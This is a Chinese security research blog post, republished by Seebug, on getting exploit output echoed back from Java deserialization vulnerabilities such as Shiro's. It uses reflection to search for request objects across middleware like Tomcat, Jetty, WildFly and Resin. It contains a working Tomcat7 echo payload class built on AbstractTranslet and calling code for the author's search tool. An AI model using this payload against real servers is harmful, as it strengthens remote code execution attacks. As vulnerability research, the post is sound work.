作者:c0ny1
原文鏈接:https://mp.weixin.qq.com/s/uWyHRexDZWQwp81lWjmqqw
0x01 前言
本文獻給永遠的Avicii,嚴格意義上我不算是一個reaver。但并不妨礙我深深的喜歡你的作品,它們陪伴著我度過了無數個編程的夜晚,十分感謝。今天不同人用不同的方式懷念你,我不會作曲,也不敢紋身。能給你分享的是我所熱愛的事,在我看來這是最有質感的東西。R.I.P
0x02 背景
最近圈子里各位師傅都在分享shiro回顯的方法,真是八仙過海過海各顯神通。這里我也分享下自己針對回顯的思考和解決方案。師傅們基本都是考慮中間件為Tomcat,框架為Shiro的反序列化漏洞如何回顯。這里我從更大的層面來解決回顯問題。也就是在任意中間件下,任意框架下可執行任意代碼的漏洞如何回顯?
0x03 基本思路
回顯的方式有很多種類,通過獲取request對象來回顯應該是最優雅通用的方法。而之前師傅們獲取requst的方式基本都是去閱讀和調試中間件的源碼,確定requst存儲的位置,最終反射獲取。其實提煉出來就是兩個步驟。
第一步:尋找存儲有request對象的全局變量
這一步定位的是requst存儲的范圍,需要靠知識沉淀或閱讀源碼來確定request對象被存儲到那些全局變量中去了。
為何要考慮全局變量呢?這是因為只有是全局的,我們才能保證漏洞觸發時可以拿到這個對象。
按照經驗來講Web中間件是多線程的應用,一般requst對象都會存儲在線程對象中,可以通過Thread.currentThread()或Thread.getThreads()獲取。當然其他全局變量也有可能,這就需要去看具體中間件的源碼了。比如前段時間先知上的李三師傅通過查看代碼,發現[MBeanServer](https://xz.aliyun.com/t/7535)中也有request對象。
第二步:半自動化反射搜索全局變量
這一步定位的是requst存儲的具體位置,需要搜索requst對象具體存儲在全局變量的那個屬性里。我們可以通過反射技術遍歷全局變量的所有屬性的類型,若包含以下關鍵字可認為是我們要尋找的request對象。
- Requst
- ServletRequest
- RequstGroup
- RequestInfo
- RequestGroupInfo
- …

0x04 編碼實現
思路雖然簡單,但實現反射搜索的細節其實還是有很多坑的,這里列舉一些比較有意思的點和坑來說說。
4.1 限制挖掘深度
對于隱藏過深的requst對象我們最好不考慮,原因有兩個。
-
第一個是這樣反射路徑過長,就算是搜索到了,最終構造的payload數據會很大,對于shiro這種反序列化數據在頭部的漏洞是致命的。
-
第二個是挖掘時間會很長,因為JVM虛擬機內存中的對象結構其實是非常的復雜的,一個對象的屬性往往嵌套著另一個對象,另一個對象的屬性繼續嵌套其他對象…
可以聲明兩個變量來代表當前深度和最大深度,通過防止當前深度大于最大深度,來限制挖掘深度。
int max_search_depth = 1000; //最大挖掘深度
int current_depth = 0 //當前深度
while(...){
//最多挖多深
if(current_depth > max_search_depth){
continue;
}
//搜索
...
current_depth++;
}
4.2 排除相同引用的對象
一個對象中可能會存在其他對象多個相同的實例(引用相同),是不能重復去遍歷它屬性的,否則會進入死循環。可以聲明一個visited集合來存儲已經遍歷過的對象,在遍歷之前先判斷對象是否在該集合中,防止重復遍歷!
Set<Object> visited = new HashSet<Object>();
if(!visited.contains(filed_object)){
visited.add(filed_object);
//繼續搜索
...
}
//跳過
...
4.3 設置黑名單
某些類型不可能存有requst,一般有如下的系統類型,和一些自定義的類型。對于這些類型的對象的遍歷只會浪費時間,我們可以設置一個黑名單將其排除掉。
- java.lang.Byte
- java.lang.Short
- java.lang.Integer
- java.lang.Long
- java.lang.Float
- java.lang.Boolean
- java.lang.String
- java.lang.Class
- java.lang.Character
- java.io.File
- …
4.4 搜索繼承的所有屬性
getFields()和getDeclaredFields()其實都沒法獲取對象的所有屬性,導致搜索會有遺漏。比如一個對象的父類的父類的一個私有屬性,我們怎么獲取呢?
//向上循環 遍歷父類
for (; clazz != Object.class; clazz = clazz.getSuperclass()) {
Field[] fields = clazz.getDeclaredFields();
for (Field field : fields) {
field.setAccessible(true);
//搜索
...
}
}
4.5 深度優先 vs 廣度優先
深度優先顧名思義就是會按照深度方向挖掘,它會先遍歷至全局變量第一個屬性最深層的所有末端,在繼續第二屬性依次類推。這樣挖掘出來的反射鏈是比較長的。
在我實現完深度優先算法后,發現最致命的還不是反射鏈過長問題。深度優先可能會錯過比較短的反射鏈。這是因為同一個requst對象的引用可能被存儲在全局對象的多個屬性中,有些藏的比較深,有的藏的比較淺。深度優先往往會先挖掘到比較深的那個,而根據我們相同對象不會第二次搜索原則,當搜索到存儲比較淺的引用時,會被忽略了。這就導致我們只挖掘到了藏的比較深的,而錯過了比較淺的。

在學過算法,我們都知道廣度優先就能解決路徑最短問題,在這個問題上也是如此。針對上圖的情況,兩種算法挖掘的結果如下。
深度優先挖掘到兩條反射鏈
- 全局變量 > Field01 > Field03 > Request@111
- 全局變量 > Field04 > Request@222
廣度度優先挖掘到兩條反射鏈
- 全局變量 > Request@111
- 全局變量 > Field04 > Request@222
而在實際環境中差別更加明顯,以下是Tomcat8下搜索記錄的對比。

0x05 實戰挖掘
基于以上想法,我設計了一款java內存對象搜索工具java-object-searcher,它可以很方便的幫助我們完成對request對象的搜索,當然不僅僅用于挖掘request。下面以Tomcat7.0.94為例挖掘requst。
項目地址:https://github.com/c0ny1/java-object-searcher
5.1 引入java-object-searcher
去java-object-searcher項目的releases下載編譯好的jar,引入到web項目和調試環境中。
5.2 編寫調用代碼進行搜索
然后我們需要斷點打在漏洞觸發的位置,因為全局變量會隨著中間件和Web項目運行被各個模塊修改。而我們需要的是漏洞觸發時,全局變量的狀態(屬性結構和值)。
接著在IDEA的Evaluate中編寫java-object-searcher的調用代碼,來搜索全局變量。
//設置搜索類型包含ServletRequest,RequstGroup,Request...等關鍵字的對象List<Keyword> keys = new ArrayList<>();
keys.add(newKeyword.Builder().setField_type("ServletRequest").build());
keys.add(newKeyword.Builder().setField_type("RequstGroup").build());
keys.add(newKeyword.Builder().setField_type("RequestInfo").build());
keys.add(newKeyword.Builder().setField_type("RequestGroupInfo").build());
keys.add(new Keyword.Builder().setField_type("Request").build());
//新建一個廣度優先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = newSearchRequstByBFS(Thread.currentThread(),keys);
//打開調試模式searcher.setIs_debug(true);
//挖掘深度為20
searcher.setMax_search_depth(20);
//設置報告保存位置
searcher.setReport_save_path("D:\\apache-tomcat7.0.94\\bin");
searcher.searchObject();

5.3 根據挖掘結果構造回顯payload
根據上述挖掘到的反射鏈來構造回顯,具體代碼如下:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
importcom.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
importcom.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.tomcat.util.buf.ByteChunk;
import java.lang.reflect.Field;import java.util.ArrayList;
public class Tomcat7EchoByC0ny1 extends AbstractTranslet {
public Tomcat7EchoByC0ny1(){
try {
Object obj = Thread.currentThread();
Field field = obj.getClass().getSuperclass().getDeclaredField("group");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("threads");
field.setAccessible(true);
obj = field.get(obj);
Thread[] threads = (Thread[]) obj;
for (Thread thread : threads) {
if (thread.getName().contains("http-apr") && thread.getName().contains("Poller")) {
try {
field = thread.getClass().getDeclaredField("target");
field.setAccessible(true);
obj = field.get(thread);
field = obj.getClass().getDeclaredField("this$0");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("handler");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getSuperclass().getDeclaredField("global");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("processors");
field.setAccessible(true);
obj = field.get(obj);
ArrayList processors = (ArrayList) obj;
for (Object o : processors) {
try {
field = o.getClass().getDeclaredField("req");
field.setAccessible(true);
obj = field.get(o);
org.apache.coyote.Request request = (org.apache.coyote.Request) obj;
byte[] buf = "Test by c0ny1".getBytes();
ByteChunk bc = new ByteChunk();
bc.setBytes(buf, 0, buf.length);
request.getResponse().doWrite(bc);
}catch (Exception e){
e.printStackTrace();
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
}catch (Exception e){
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
最終生成反序列化數據提交至服務器即可回顯

通過java-object-searcher,我不僅挖掘到了之前師傅們公開的鏈,還挖掘到了其他未公開的。同時在其他中間件下也實現了回顯,下面列舉幾個比較冷門的中間件。
1. Jetty


2. WildFly


3. Resin


0x06 最后的思考
有了半自動化,就想著全自動。這種運行時動態挖掘的局限性是需要人工確定那些全局變量存有request,這是只能半自動的原因。那么是否可以通過靜態分析源碼的方式來解決呢?比如gadgetinspector原來是挖掘gadget的,能否更換它的source和slink定義,將其改造為全自動化挖掘request呢?有興趣的朋友可以去試試。
PS:寫到這里我在想Avicii在寫完《The Nights》時是怎樣的心情,或許和我此時的心情一樣,無以言表。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1181/